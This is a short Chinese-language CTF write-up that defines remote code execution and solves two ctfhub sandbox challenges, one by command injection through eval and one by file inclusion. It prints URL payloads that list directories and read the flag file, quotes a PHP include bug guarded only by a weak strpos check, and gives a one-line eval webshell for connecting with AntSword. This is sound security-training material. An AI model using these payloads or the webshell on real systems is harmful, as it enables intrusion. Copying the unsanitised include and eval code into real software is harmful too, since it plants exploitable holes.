一,RCE是什么?
1定义:RCE(remote command/code execute)远程代码执行,是互联网的一种安全漏洞。
2分类
(1)远程命令执行ping
(2)远程代码执行evel。
3漏洞出现的原因
没有在输入口做输入处理。
注意:由于传入的必须是有效的 PHP 代码,所有的语句必须以分号结尾。
二,ctfhub——eval执行
先执行
url+/?cmd=passthru(“ls”);或
url+/?cmd=system(“ls”);后无有效信息。
然后输入
url+/?cmd=passthru(“ls /”);或
url+/?cmd=system(“ls /”);发现flag信息。
然后url+/?cmd=system(“cat /flag_7169”);即可。
在这里由于flag_7169是一个目录,所以加一“/”打开即可看见flag。
当然直接用蚁剑连接也可以。
这道题主要是考远程代码执行evel,可以说是文件上传的基础内容。可以使用的php后端函数有system()、passthru()。shell_exec()按道理来说也可以,但是由于不会回显的原因以及我目前学习知识的有限,不予使用。
三,ctfhub——文件包含
1 strpos — 查找字符串首次出现的位置。
2 方法1
http://challenge-57a8c46cd4ed0029.sandbox.ctfhub.com:10080/?file=shell.txt
ctfhub蚁剑访问后台,在上级目录发现flag。
3 方法2
http://challenge-57a8c46cd4ed0029.sandbox.ctfhub.com:10080/?file=shell.txt
利用hackbar传参也可以,这里就不赘述了,大家可以百度查询
4最重要的是原理部分
首先,我们看一下题目给出的源码。
<?php
error_reporting(0);
if (isset($_GET['file'])) { //file不为空则进入下一句
if (!strpos($_GET["file"], "flag")) { //file中查询不到flag就进入下一句
include $_GET["file"]; //将file包含到后台中
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
关键在于这个shell.txt文件。根据题目给出的木马
<?php eval($_REQUEST['ctfhub']);?>可知它请求到后台的参数是ctfhub,在这个基础上执行eval远端操作即可。